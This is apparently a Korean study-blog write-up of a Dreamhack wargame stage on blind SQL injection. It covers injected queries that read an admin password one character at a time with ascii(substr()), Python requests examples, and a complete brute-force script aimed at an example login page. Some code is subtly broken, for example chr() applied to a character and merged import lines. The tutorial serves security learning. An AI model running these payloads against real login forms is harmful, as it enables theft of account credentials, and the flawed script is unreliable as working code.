EYEN

[드림핵 웹해킹] STAGE 6 : NO SQL INJECTION(Blind SQL Injection) 본문

Wargame/Web

[드림핵 웹해킹] STAGE 6 : NO SQL INJECTION(Blind SQL Injection)

EYEN 2022. 10. 31. 10:56

맞아?

보통 관리자 권한을 취득할 때 로그인과정에서 아이디 비번 검증 과정을 우회하는 방법이나, 비밀번호를 알아내는 방법을 쓰는데 이건 후자를 위해 쓰는 방법이다. 파이썬 스크립트를 쓰는 과정이 필요하다.

1. sql 공격방법

이분 탐색 알고리즘을 적용하든 어떻게 하든 자동화 스크립트를 작성하는 것이 좋다.

쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야한다

Blind SQL Injection 공격 쿼리


# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; 
# False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; 
# True

# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; 
# False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; 
# True

조건1: uid=’admin’

  • 조건2: upw=’ascii(substr(upw,1,1)=114로그인 성공하면 첫번째 값이 r, 실패하면 아님. 둘 중에 뭐가 아닌지는 하나하나 결과를 봐야 알 수 있겠지? 퀴리문의 반환 결과를 통해 admin계정의 비밀번호를 획득할 수 있다.
  • 공격 쿼리문의 두 번째 조건을 살펴보면, upw의 첫 번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의

조건3: upw=’’

ascii

전달된 문자를 아스키 형태로 반환하는 함수

ex)

ascii('a')를 실행하면 'a' 문자의 아스키 값인 97을 반환

substr

substr 함수는 (문자열, 몇번째 문자인지, 길이)를 받아 사용한다.

substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'

2. 파이썬 스크립트 공격방법

파이썬은 HTTP 통신을 위한 다양한 모듈 중 requests 모듈을 공격에 이용할 수 있다

다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있다.

requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 코드


import requestsurl = '<https://dreamhack.io/>'
headers = {    
		'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있습니다.

requests 모듈을 통해 HTTP의 POST 메소드 통신을 하는 코드


import requestsurl = '<https://dreamhack.io/>'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송할 수 있습니다.

$ python3 bsqli.py
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D97--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D98--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D99--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D100--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D101--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D102--&upw=>

비밀번호는 알파벳과 숫자 그리고 특수 문자로 이루어져 아스키 범위로 나타내면 32부터 126까지 해당된다

Blind SQL Injection 공격 스크립트


#!/usr/bin/python3
import requests
import stringurl = '<http://example.com/login>' 
# example URL params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation 
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

tc=비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성

for idx 한 바이트씩 모든 문자를 비교하는 반복문

if 반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 “Login sucess” 문자열을 찾기

해당 결과를 반환한 문자를 password 변수에 저장

반복문을 마치면 “admin” 계정의 비밀번호를 알아낼 수 있습니다